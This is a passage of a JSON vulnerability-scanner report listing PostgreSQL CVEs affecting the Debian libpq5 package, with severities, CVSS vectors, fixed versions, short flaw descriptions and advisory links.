"InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14677", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9ada9698ada47780926de4bed7987c835f31b22cb86d6038d4a7d787dab6fe1", "Title": "postgresql: pltcl: plperl: PostgreSQL: Arbitrary code execution in 32-bit pltcl and plperl", "Description": "Integer wraparound in PostgreSQL 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This may execute arbitrary code as the operating system user running the database. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14677", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14677.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14677", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14677", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14677/" ], "PublishedDate": "2026-08-13T13:17:45.027Z", "LastModifiedDate": "2026-08-29T23:17:15.867Z" }, { "VulnerabilityID": "CVE-2026-14679", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14679", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:03a47344362df43557b0c83eec4e4a493a2901a4305085ebbdd4c6e1150bd5a7", "Title": "postgresql: PostgreSQL: Stack buffer overflow via OUT parameter count manipulation", "Description": "Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14679", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14679.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14679", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14679", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14679/" ], "PublishedDate": "2026-08-13T13:17:45.277Z", "LastModifiedDate": "2026-08-29T23:17:16.747Z" }, { "VulnerabilityID": "CVE-2026-14680", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14680", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7436750071adb363ef93c4063aa81c4bc0a3bb23def0bb77d7bafb2b0fe09c75", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion with \"internal\" arguments", "Description": "Type confusion with PostgreSQL \"internal\" data type arguments allows any user to execute arbitrary code as the operating system user running the database, via calls to functions with that argument type. Type \"internal\" represents a class of mutually-incompatible data structures not intended for access from SQL. The system intended to prevent such function calls, but this prevention had gaps. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14680", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14680.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14680", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14680", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14680/" ], "PublishedDate": "2026-08-13T13:17:45.4Z", "LastModifiedDate": "2026-08-29T23:17:17.18Z" }, { "VulnerabilityID": "CVE-2026-15741", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-15741", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:432fba3a5f99de2b9262cdf077470eb8af9d0c37782161af5bcb7ffc05305f19", "Title": "postgresql: PostgreSQL: Privilege escalation via SQL injection in EXTRACT() deparse", "Description": "SQL injection in PostgreSQL EXTRACT() deparse allows an object owner to execute arbitrary SQL as a superuser via a hostile object definition. Attacks affect expression deparse consumers broadly, including pg_dump, psql commands like \\sf, and any similar usage in non-core tools. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-89" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-15741", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-15741.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-15741", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-15741", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-15741/" ], "PublishedDate": "2026-08-13T13:17:45.957Z", "LastModifiedDate": "2026-08-29T23:17:18.19Z" }, { "VulnerabilityID": "CVE-2026-15742", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-15742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a2aaa0791f88d6ad3c19f400bdf4c9f0acd9c76511573943b38ba7e3956a902", "Title": "postgresql-fuzzystrmatch: PostgreSQL fuzzystrmatch: Arbitrary code execution via integer wraparound", "Description": "Integer wraparound in PostgreSQL fuzzystrmatch allows a user to direct writes to a huge range of addresses, executing arbitrary code as the operating system user running the database, via extreme inputs to SQL function levenshtein() or levenshtein_less_equal(). Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-15742", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-15742.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-15742", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-15742", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-15742/" ], "PublishedDate": "2026-08-13T13:17:46.103Z", "LastModifiedDate": "2026-08-29T23:17:18.653Z" }, { "VulnerabilityID": "CVE-2026-16239", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3f74c743601f26e3ab756e9ed4e0b0d1e91cea156fdc7eb82954b3ebba1344b8", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion in cursor lifecycle", "Description": "Type confusion in PostgreSQL \"portal\"/cursor lifecycle allows a user to execute arbitrary code as the operating system user running the database, via re-creation of a cursor or other portal with different types. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-16239", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", 